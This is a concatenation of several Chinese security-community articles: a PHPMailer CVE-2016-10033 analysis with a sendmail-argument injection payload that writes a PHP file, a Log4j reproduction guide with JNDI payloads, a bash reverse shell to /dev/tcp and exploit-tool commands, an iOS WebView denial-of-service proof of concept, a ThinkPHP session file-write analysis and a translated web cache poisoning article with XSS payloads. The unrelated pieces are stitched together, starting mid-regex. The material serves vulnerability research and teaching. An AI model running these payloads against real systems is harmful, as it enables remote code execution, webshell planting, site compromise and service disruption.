'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
case 'pcre':
//An older regex that doesn't need a recent PCRE
return (boolean)preg_match(
'/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
'[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
'(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
'@(?>(?' .
'(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
'::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
'::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
$address
);
case 'html5':
/**
* This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
* @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
*/
return (boolean)preg_match(
'/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
'[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
$address
);
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
case 'php':
default:
return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
}
}
其他的地方我就不分析了，只分析上面这个函数，这个函数有这个特点
1. 默认patternselect==‘auto’，它会自动选择一个方式对email进行检测
2. 如果php支持正则PCRE（也就是包含preg_replace函数），就用正则的方式来检查，就是那一大串很难读懂的正则
3. 如果php不支持PCRE，且PHP版本大于PHP5.2.0，就是用PHP自带的filter来检查email
4. 如果php不支持PCRE，且PHP版本低于PHP5.2.0，就直接检查email中是否包含@
所以，根据现在的分析（注意，不是最终分析），如果想绕过这个email的检查，目标PHP环境必须有以下两个条件：
1. PHP版本小于5.2.0
2. PHP不支持正则表达式，即没有安装PCRE扩展（默认是安装的）
那么如果目标PHP环境不满足上述条件，是不是就绝对不会出现漏洞了呢？当然答案也是否定的，我提两种可能的情况。
#### 开发者手工指定Email检查方法
PHPMailer是支持让开发者手工指定Email的检测方法的：
如果开发者编写了上述画框的代码，那么这里就是存在漏洞的，因为其只检查Email中是否包含@。
开发者指定`PHPMailer::$validator = 'noregex'` 我们看到validateAddress函数：
public static function validateAddress($address, $patternselect = null)
{
if (is_null($patternselect)) {
$patternselect = self::$validator;
}
$patternselect默认是根据`self::$validator`来确定的，如果开发者指定了`PHPMailer::$validator =
'noregex'`，也就可以绕过validateAddress函数了。
#### 分析一下Email正则
那么，这真的是一个鸡肋漏洞么？年轻人，多思考一下。
如果想把漏洞变成一个可用的好漏洞，需要去绕过Email的正则，我们来分析一下：
preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
中间的分析过程我后面慢慢写，多研究一下你会发现，在@前面，如果加上括号，将可以引入空格，我的payload如下：
aaa( -X/home/www/success.php )@qq.com
测试代码：
<?php
require 'PHPMailer/PHPMailerAutoload.php';
function send($from) {
$mail = new PHPMailer;
$mail->setFrom($from);
$mail->addAddress('[email protected]', 'Joe User'); // Add a recipient
$mail->isHTML(true); // Set email format to HTML
$mail->Subject = '<?php phpinfo(); ?>';
$mail->Body = 'This is the HTML message body <b>in bold!</b>';
$mail->AltBody = 'This is the body in plain text for non-HTML mail clients';
if(!$mail->send()) {
echo 'Message could not be sent.';
echo 'Mailer Error: ' . $mail->ErrorInfo;
} else {
echo 'Message has been sent' . "\n";
}
unset($mail);
}
$address = "aaa( -X/home/www/test.php )@qq.com";
send($address);
执行：
成功写入success.php。
利用这个payload，是无需PHP满足什么条件的，通用写文件Payload。
#### 参考链接：
1. https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
2. http://pwnscriptum.com/
3. https://www.exploit-db.com/exploits/40968/
4. https://github.com/opsxcq/exploit-CVE-2016-10033
* * * | 社区文章 |
# 前言
网络安全技术学习，承认⾃⼰的弱点不是丑事。只有对原理了然于⼼，才能突破更多的限制。拥有快速学习能力的白帽子，是不能有短板的，有的只能是大量的标准板和几块长板。知识⾯，决定看到的攻击⾯有多⼴；知识链，决定发动的杀伤链有多深。
# Log4j漏洞在线登录框复现
环境是：
SpringBoot版本 2.6.1 log4j版本 2.14.1 java8
漏洞url：
http://x.x.x/
首页如下：
payload：
${jndi:ldap://x.x.x/exp}
漏洞利用：
漏洞证明：
# Log4j漏洞在线传参复现
名称: Log4j2远程命令执行
描述: Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j
框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。
在大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包，最终触发远程代码执行。
漏洞利用：
访问url：
http://x.x.x/
首页如下：
burp抓包改成POST方式提交数据
POST /xxx HTTP/1.1
Host: xxx
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: xxx
Accept: xxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: xx
payload=${jndi: xxx}
漏洞证明：
# Log4j漏洞在线执行命令复现
访问url：
http://x.x.x/
首页如下：
使用以下命令开一个jndi服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/abc" -A x.x.x.x
在 /tmp目录下新建abc文件
burp抓包改成POST方式提交数据
POST /xxx HTTP/1.1
Host: xxx
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: xxx
Accept: xxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: xx
payload=${jndi: xxx}
日志回显
在 /tmp目录下新建abc文件的命令成功执行
# Log4j漏洞在线执行命令反弹shell复现(JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar)
访问url：
http://x.x.x/
首页如下：
使用以下命令开一个jndi服务
bash -i >& /dev/tcp/x.x.x/xxx 0>&1
需要编码为
bash -c {echo,xxx{base64,-d}|{bash,-i}
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxx{base64,-d}|{bash,-i}" -A x.x.x
反弹shell
burp抓包改成POST方式提交数据
POST /xxx HTTP/1.1
Host: xxx
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: xxx
Accept: xxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: xx
payload=${jndi: xxx}
日志回显
成功反弹回来shell
# Log4j漏洞在线执行命令反弹shell复现(JNDIExploit-1.2-SNAPSHOT.jar)
访问url：
http://x.x.x/
首页如下：
使用以下命令开一个jndi服务
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i x.x.x.x
bash -i >& /dev/tcp/x.x.x/xxx 0>&1
需要base64编码
+需要两次编码
burp抓包改成POST方式提交数据
POST /xxx HTTP/1.1
Host: xxx
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: xxx
Accept: xxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: xx
payload=${jndi: xxx}
日志回显
成功反弹回来shell
# Log4j漏洞本地复现(参照Ysw师傅)
使用以下命令开一个jndi服务
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i x.x.x.x
编写Log4jRCE.jar文件，将使用jndi服务执行开启计算机的命令写入
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class log4jRCE {
private static final Logger logger = LogManager.getLogger(log4jRCE.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://x.x.x.x/Basic/Command/calc}");
}
}
使用idea编译将项目编译为jar之后
使用以下命令触发，或者直接双击打开
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar Log4j-rce.jar
漏洞利用
漏洞证明： | 社区文章 |
# 【技术分享】iOS WebView远程拒绝服务漏洞(含支付宝演示视频)
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：**[ **mryu1**](http://bobao.360.cn/member/contribute?uid=2779928186)
**稿费：500RMB（不服你也来投稿啊！）**
****投稿方式：发送邮件至linwei#360.cn，或登陆 ** ** ** **[
**网页版**](http://bobao.360.cn/contribute/index)********** **在线投稿****
**概述**
* * *
近期分析一个iOS APP Crash时发现在应用内打开好友发送的URL链接时应用假死后直接挂掉。经排查确认是iOS
WebViews存在远程拒绝服务漏洞，攻击者可以利用这个漏洞使打开恶意网页的应用、iOS
Safari浏览器拒绝服务。这个漏洞的利用方法非常简单，攻击者可以轻易的使用该漏洞进行攻击。
**涉及设备：** iPhone、iPad、iTouch
**涉及系统：** iOS 8.4~10.1.1
**APP：** 支付宝 V9.9.6
**漏洞危害**
* * *
攻击者在调用WebViews的APP（微信、QQ、微博….）中发送恶意链接或使用其他方式诱导受害者点击链接来启动恶意页面。一旦这个页面打开你会发现页面内容加载出来后，无论你怎么点击页面，APP或Safari浏览器都没有反应，数秒后直接崩溃掉。
下面是Remote DOS APP POC，Safari浏览器的POC暂不放出。
**Remote DOS APP POC:**
<html>
<head>
<title>DOS POC</title>
</head>
<body>
<h1>Start Attack - By MrYu.</h1>
<script>
y = "asddfg";
for (i = 0; i < 10000000; i++) {
y = y + "189768765409685743";
}
function attack() {
window.location.href = y;
}
setTimeout("attack()", 1100);
</script>
</body>
</html>
在恶意html页面内嵌入JavaScript代码，看代码可知程序生成了非常长的数字并把这些数字拼接到了url中，iOS
WebView在处理庞大字节URL链接出现异常导致APP崩溃。
**演示视频**
* * *
**总结**
* * *
受影响的不仅仅是支付宝，很多厂商SRC遇到这样的DOS漏洞通常会以“系统问题”为由而拒收。本文仅仅是把问题抛出来，漏洞影响和是否值得修复，大家可以酌情处理。 | 社区文章 |
**作者：启明星辰ADLab
公众号：<https://mp.weixin.qq.com/s/UPu6cE20l24T6fkYOlSUJw>**
### **漏洞介绍**
2020年1月10日，ThinkPHP团队发布一个补丁更新，修复了一处由不安全的SessionId导致的任意文件操作漏洞。该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件，在特定情况下还可以getshell。
具体受影响版本为ThinkPHP6.0.0-6.0.1。
### **漏洞复现**
本地环境采用ThinkPHP 6.0.1+PHP7.1.20+Apache进行复现。在特定情况下执行测试验证程序即可写入一个webshell，如下图：
### **漏洞分析**
根据官方github的commit:
<https://github.com/topthink/framework/commit/1bbe75019ce6c8e0101a6ef73706217e406439f2>
因而推测，可能是在存储session时导致的文件写入。然后，跟踪：`vendor/topthink/framework/src/think/session/Store.php:254`。
这里调用了一个write函数，跟进一下：`vendor/topthink/framework/src/think/session/driver/File.php:210`。
调用writeFile函数，跟入：
果然是写入文件的操作。
继续反向看一下文件名是否可控，该文件名来自于最开始的getId()得到的`$sessionId`的值。既然有getId，就会有setId，看一下函数内容：
当传入的参数`$id`满足32位的长度时，就将该值设为`$this->id`。看一下调用setId的地方：`vendor/topthink/framework/src/think/middleware/SessionInit.php:46`。
这里的`$cookieName`的值是PHPSESSID。
而`$sessionId`是cookie中名为PHPSESSID的值，因此是攻击者可控的，从而导致写入的文件名可控。
写入的文件名可控，那么写入的内容是否可控呢？分析发现，写入的内容就是创建session使用的内容。但是session的创建是由实际的后端业务逻辑来决定的，而默认环境下并没有创建session。因此，默认环境下无法做到任意文件写入。
在对该漏洞的深入分析过程中，我们发现该漏洞还可以实现任意文件删除，且文件删除对后端业务逻辑依赖较低。
还是在`vendor/topthink/framework/src/think/session/Store.php:254`中：
通过分析验证，我们发现漏洞（如上图）还能导致任意文件删除。
### **总结**
在目标环境为Windows且开启session的情况下，容易遭受任意文件删除攻击。
在目标环境开启session且写入的session可控的情况下，容易遭受任意文件写入攻击。
建议相关用户及时升级到ThinkPHP6.0.2版本，以免遭受攻击。
* * * | 社区文章 |
# 实战Web缓存投毒（上）
##### 译文声明
本文是翻译文章，文章来源：portswigger.net
原文地址：<https://portswigger.net/blog/practical-web-cache-poisoning>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
##
由于这整篇文章的篇幅较大，并且内容较深，我决定将原文拆分成两部分进行翻译：第一部分涉及投毒的基本原理和几个投毒的案例；第二部分涉及投毒的案例、解决办法和结论
## 摘要
长期以来，web缓存投毒都是一个被人遗忘的漏洞，一种用于吓唬开发人员乖乖修复但是无人可实际利用的“理论”上的威胁。
在本文中，我将向大家展示如何通过使用深奥的web特性来将它们的缓存系统转变为漏洞利用代码（exploit）投放系统，每一位错误访问他们主页的用户都是这种攻击的目标。
我将结合让我我能够控制大量流行网站和架构的漏洞来说明和进一步扩展这种技术，从简单的单一请求攻击到劫持javascript，越过缓存层，颠覆社交媒体，误导云服务的复杂漏洞利用链。这篇文章也提供[pdf格式](https://portswigger.net/kb/papers/7q1e9u9a/web-cache-poisoning.pdf)，它同时是我的[Black Hat USA
presentation](https://www.blackhat.com/us-18/briefings/schedule/index.html#practical-web-cache-poisoning-redefining-unexploitable-10200)，因此幻灯片和视频将在适当的时候提供。
## 核心概念
### 缓存概念介绍（Caching 101）
要掌握缓存投毒技术，我们需要快速了解缓存的基本原理。
Web缓存位于用户和应用程序服务器之间，用于保存和提供某些响应的副本。在下图中，我们可以看到三个用户一个接一个地获取相同的资源：
缓存技术旨在通过减少延迟来加速页面加载，还可以减少应用程序服务器上的负载。一些公司使用像Varnish这样的软件来托管他们自己的缓存，而其他公司选择依赖像Cloudflare这样的内容分发网络（CDN），缓存分布在世界各地。此外，一些流行的Web应用程序和框架（如Drupal）具有内置缓存。
还有其他类型的缓存，例如客户端浏览器缓存和DNS缓存，但它们不是本次研究的关注点。
### 缓存键（Cache keys）
缓存的概念可能听起来简单明了，但它隐藏了一些有风险的假设。每当缓存服务收到对资源的请求时，它需要确定它是否已经保存了这个指定资源的副本，并且可以使用该副本进行响应，或者是否需要将请求转发给应用程序服务器。
确定两个请求是否正在尝试加载相同的资源可能是很棘手的问题;对请求进行逐字节匹配的做法是完全无效的，因为HTTP请求充满了无关紧要的数据，例如请求头中的User-Agent字段：
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Accept: */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://google.com/
Cookie: jessionid=xyz;
Connection: close
缓存使用缓存键的概念解决了这个问题 – 使用一些特定要素用于完全标识所请求的资源。在上面的请求中，我用橙色高亮了典型的缓存键中包含的值。
这意味着缓存系统认为以下两个请求是等效的，并且将很乐意的使用从第一个请求缓存的响应来响应第二个请求：
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=pl;
Connection: close
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=en;
Connection: close
因此，该页面将以错误的语言输出提供给第二位访问者。这揭示了以下的问题-由非缓存键导致的差异化响应都能够被存储并提供给其他用户。理论上来说，网站可以使用“Vary”响应头来指定额外应该加入到缓存键中的其他请求头。在实践中，对Vary响应头的使用仅停留在理论阶段，像Cloudflare这样的CDN完全忽略它，大家甚至没有意识到他们的应用程序支持任何基于请求头的输入。
这会导致大量意外的破坏，但当有人故意开始利用它时，这种乐趣才真正开始。
### 缓存投毒（Cache Poisoning）
Web缓存投毒的目的是发送导致有害响应的请求，将该响应将保存在缓存服务中并提供给其他用户。
在本文中，我们将使用不在缓存键中的输入（如HTTP请求头）来实现缓存投毒，这不是缓存投毒的唯一方法-你也可以使用HTTP响应拆分攻击和[Request
Smuggling攻击](https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEFCON-24-Regilero-Hiding-Wookiees-In-Http.pdf)–但我认为本文讨论是最好的方法。请注意，Web缓存服务中还存在一种称为[Web缓存欺骗](https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html)的不同类型的攻击，不要和缓存投毒弄混了。
### 方法（Methodology）
我们将使用以下方法发现缓存投毒漏洞：
我将会先给出一个快速概述，然后在真实的网站演示漏洞如何生效，而不是试图在一开始就深入解析具体的技术细节。
第一步是识别非缓存键的输入。手动执行此操作非常繁琐，因此我开发了一个名为[Param
Miner](https://github.com/PortSwigger/param-miner)的Burp Suite开源插件，通过猜测header/
cookie名称来自动执行此步骤，并观察它们是否对应用程序的响应产生影响。
在找到非缓存键输入之后，接下来的步骤就是去评估你可以造成多大的危害，然后尝试将其存储在缓存中，如果失败了，你需要更好地了解缓存的工作方式，并在重试之前搜索可缓存的目标页面。页面是否被缓存可以基于多种因素，包括文件扩展名，内容类型，路由，状态代码和响应头。
缓存的响应有可能掩盖住非缓存键的输入，因此如果您尝试手动检测或发现非缓存键的输入，一个缓存爆破工具（cache-buster）就是十分重要的了。如果加载了Param Miner，则可以通过向查询字符串添加值为随机（$
randomplz）的参数来确保每个请求都具有唯一的缓存键。
在审计线上网站时，意外投毒对其他访问者来说是一种永久性危害。 Param Miner通过向来自Burp的所有出站请求添加缓存破坏（cache
buster）来缓解这种情况。此缓存爆破工具具有固定值，因此您可以自己观察缓存行为，而不会影响其他用户。
## 实例研究（Case Studies）
让我们来看看这项技术应用于真实的线上网站时会发生什么。像往常一样，我特意选择对安全人员的测试有友好政策的网站。这里讨论的所有漏洞都已上报和被修补，但由于项目的“非公开”性质，我不得不去编纂一部分的内容。
其中许多案例研究在非缓存键输入的同时利用了XSS等辅助漏洞，谨记，如果没有缓存投毒漏洞，这些漏洞就没用了，因为没有可靠的方法强制其他用户在跨域请求中发送自定义请求头。这可能就是这些辅助漏洞如此容易发现的原因。
### 基本投毒概念（Basic Poisoning）
尽管缓存投毒听起来有着可怕的影响，但缓存投毒通常很容易被利用。首先，让我们来看看Red Hat的主页。 Param Miner马上发现了一个非缓存键的输入：
GET /en?cb=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: canary
HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<meta property="og:image" content="https://canary/cms/social.png" />
在这里，我们可以看到应用程序使用X-Forwarded-Host请求头在meta标签内生成了一个打开图片的URL。下一步是探索它是否可利用 –
我们将从一个简单的[跨站点脚本](https://portswigger.net/kb/issues/00200300_cross-site-scripting-reflected)payload开始：
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."><script>alert(1)</script>
HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>
看起来不错 –
现在可以确定我们可以生成一个在任何浏览者的页面上执行任意javascript的响应。最后一步是检查此响应是否已存储在缓存服务中，以便将其分发给其他用户。不要让“Cache
Control: no-cache”响应头阻止你 –
尝试去攻击总比假设它不起作用更好。你可以先通过重新发送没有恶意标头的请求进行验证，然后直接在另一台计算机上的浏览器中访问URL：
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
HTTP/1.1 200 OK
…
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>
尽管响应中没有任何表明缓存存在的响应头，但我们的漏洞利用代码（exploit）已经被明确的缓存的原因很简单：一次快速 的DNS查询解释了其中的缘由-www.redhat.com是www.redhat.com.edgekey.net的CNAME记录，表明它正在使用Akamai的CDN。
### 确定投毒时机（Discreet poisoning）
在这一点上，我们已经证明可以通过向https://www.redhat.com/en?dontpoisoneveryone=1投毒来进行攻击，以避免影响网站的实际的访问者。为了真正的向博客的主页投毒并将我们的漏洞利用代码（exploit）分发给所有后续访问者，我们需要确保在缓存的响应过期后我们发送的请求第一个达到主页。
可以尝试使用像Burp
Intruder或自定义脚本之类的工具来发送大量请求，但这种笨重的方法是收效甚微的。攻击者可以通过对目标的缓存到期系统进行逆向工程并通过浏览文档和监控网站来预测准确的到期时间来解决这个问题，但这听起来就像是一项艰苦的工作。
幸运的是，许多网站让我们的漏洞人生简单许多。看看unity3d.com中的缓存投毒漏洞：
GET / HTTP/1.1
Host: unity3d.com
X-Host: portswigger-labs.net
HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
…
<script src="https://portswigger-labs.net/sites/files/foo.js"></script>
在请求头中，我们有一个非缓存键输入 – X-Host请求头 – 被用于生成一个脚本导入的标签。响应头“Age”和“max-age”分别指定当前响应的时间和它将过期的时间。总之，这些告诉我们为确保我们的响应被缓存，我们应该发送的payload的确切时间。
### 选择性投毒（Selective Poisoning）
HTTP响应头节省了解缓存的内部工作原理的时间。拿下面这个是用了fastly cdn服务的著名网站举例：
GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 … Firefox/60.0
X-Forwarded-Host: a"><iframe onload=alert(1)>
HTTP/1.1 200 OK
X-Served-By: cache-lhr6335-LHR
Vary: User-Agent, Accept-Encoding
…
<link rel="canonical" href="https://a">a<iframe onload=alert(1)>
</iframe>
乍一看起来似乎与第一个例子是一样的。但是，Vary响应头告诉我们User-Agent头可能是缓存键的一部分，手工测试也证实了这一点。这意味着，因为我们声明使用的是Firefox
60，我们的漏洞利用代码（exploit）只会分发给其他Firefox 60用户。我们可以使用一系列受欢迎的User-Agent来确保大多数访问者将会接收到我们的漏洞利用代码（exploit），但这种表现使得我们可以更具选择性的去实施攻击。如果你知道了受害者的User-Agent，则可以向特定人员定制攻击，甚至可以在网站监控团队面前隐藏自己。
### DOM 投毒（DOM Poisoning）
成功利用非缓存键的输入并不总是像复制黏贴xss payload那样简单，看下面这个例子：
GET /dataset HTTP/1.1
Host: catalog.data.gov
X-Forwarded-Host: canary
HTTP/1.1 200 OK
Age: 32707
X-Cache: Hit from cloudfront
…
<body data-site-root="https://canary/">
我们已经控制了’data-site-root’属性，但我们不能找到获得XSS的突破口，并且甚至不清楚这个属性的作用是什么。为了找到答案，我在Burp中创建了一个匹配然后替换的规则，为所有请求添加了“X-Forwarded-Host：id.burpcollaborator.net”请求头，然后浏览了该站点。当加载特定页面时，Firefox会将JavaScript生成的请求发送到我的服务器：
GET /api/i18n/en HTTP/1.1
Host: id.burpcollaborator.net
这条请求记录表明，在网站的某个地方，有一些JavaScript代码使用data-site-root的属性来确定从哪里加载一些网站语言的数据。我试图通过访https://catalog.data.gov/api/i18n/en来找出这些数据应该是什么样的，但只是收到了一个空的JSON响应。幸运的是，将’en’改为’es’的行为抛出了一丝丝线索：
GET /api/i18n/es HTTP/1.1
Host: catalog.data.gov
HTTP/1.1 200 OK
…
{"Show more":"Mostrar más"}
该文件包含用于将短语翻译为用户所选语言的映射。通过创建我们自己的翻译文件并使用指向用户的缓存投毒，我们可以将短语翻译变成漏洞利用代码（exploit）：
GET /api/i18n/en HTTP/1.1
Host: portswigger-labs.net
HTTP/1.1 200 OK
...
{"Show more":"<svg onload=alert(1)>"}
这就是最终结果？任何查看包含“显示更多”文字的网页的人都会被利用。
### 劫持Mozilla SHIELD（Hijacking Mozilla SHIELD）
我配置的“X-Forwarded-Host”匹配/替换规在帮助我解决上一个漏洞利用问题的同时产生意想不到的额外效果。除了来自catalog.data.gov的交互之外，我还收到了一段非常神秘的内容：
GET /api/v1/recipe/signed/ HTTP/1.1
Host: xyz.burpcollaborator.net
User-Agent: Mozilla/5.0 … Firefox/57.0
Accept: application/json
origin: null
X-Forwarded-Host: xyz.burpcollaborator.net
[自身发出origin:null的请求头](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)情况非常的少见，我以前从未见过浏览器发出完全小写的Origin请求头。通过筛选proxy历史记录，发现罪魁祸首是Firefox本身。
Firefox会试图获取一份“recipes”列表，作为[SHIELD](https://wiki.mozilla.org/Firefox/Shield)系统的一部分，用于静默安装扩展以用于营销和研究目的。该系统曾因强行分发“Mr
Robot’”扩展而闻名，[引起了用户的强烈不满](https://www.cnet.com/news/mozilla-backpedals-after-mr-robot-firefox-misstep/)。无论如何，看起来X-Forwarded-Host请求头欺骗了这个系统，将Firefox引导到我自己的网站以获取recipes：
GET /api/v1/ HTTP/1.1
Host: normandy.cdn.mozilla.net
X-Forwarded-Host: xyz.burpcollaborator.net
HTTP/1.1 200 OK
{
"action-list": "https://xyz.burpcollaborator.net/api/v1/action/",
"action-signed": "https://xyz.burpcollaborator.net/api/v1/action/signed/",
"recipe-list": "https://xyz.burpcollaborator.net/api/v1/recipe/",
"recipe-signed": "https://xyz.burpcollaborator.net/api/v1/recipe/signed/",
…
}
recipes看起来是这样的：
[{
"id": 403,
"last_updated": "2017-12-15T02:05:13.006390Z",
"name": "Looking Glass (take 2)",
"action": "opt-out-study",
"addonUrl": "https://normandy.amazonaws.com/ext/pug.mrrobotshield1.0.4-signed.xpi",
"filter_expression": "normandy.country in ['US', 'CA']\n && normandy.version >= '57.0'\n)",
"description": "MY REALITY IS JUST DIFFERENT THAN YOURS",
}]
该系统使用NGINX进行缓存，自然很乐意保存我投毒的响应并将其提供给其他用户。
Firefox在浏览器打开后不久就会抓取此URL并定期重新获取它，最终意味着所有数以千万的Firefox日常用户最终都可能从我的网站上获取recipes。
这提供了多种可能。 Firefox所使用的recipes已经做了[签名](https://github.com/mozilla-services/autograph/tree/master/signer/contentsignature)，所以我不能通过只安装恶意插件然后获得完整的代码执行，但我可以将数以千万的真正用户指向我选择的URL。显而易见，这除了可以被利用于DDoS，如果适当的和内存损坏漏洞相结合，这将是非常严重的问题。此外，一些后端Mozilla系统使用非签名的recipes，这可以被用于在其基础设施内部获得稳定的切入点并可能获得recipes的签名密钥。此外，我可以重放我选择的旧recipes，这可能会大规模的强制安装旧包含知有漏洞的扩展，或者导致‘Mr
Robot’的意外回归。
我向Mozilla报告了这一问题，他们在24小时内修补了他们的基础设施，但是在漏洞的严重程度上存在一些分歧，因此只获得了1000美元的奖励。
### 路由投毒（Route poisoning）
有些应用程序不仅无知地使用请求头生成URL，而且无知地将它们用于内部请求路由：
GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Server: canary
HTTP/1.1 404 Not Found
CF-Cache-Status: MISS
…
<title>HubSpot - Page not found</title>
<p>The domain canary does not exist in our system.</p>
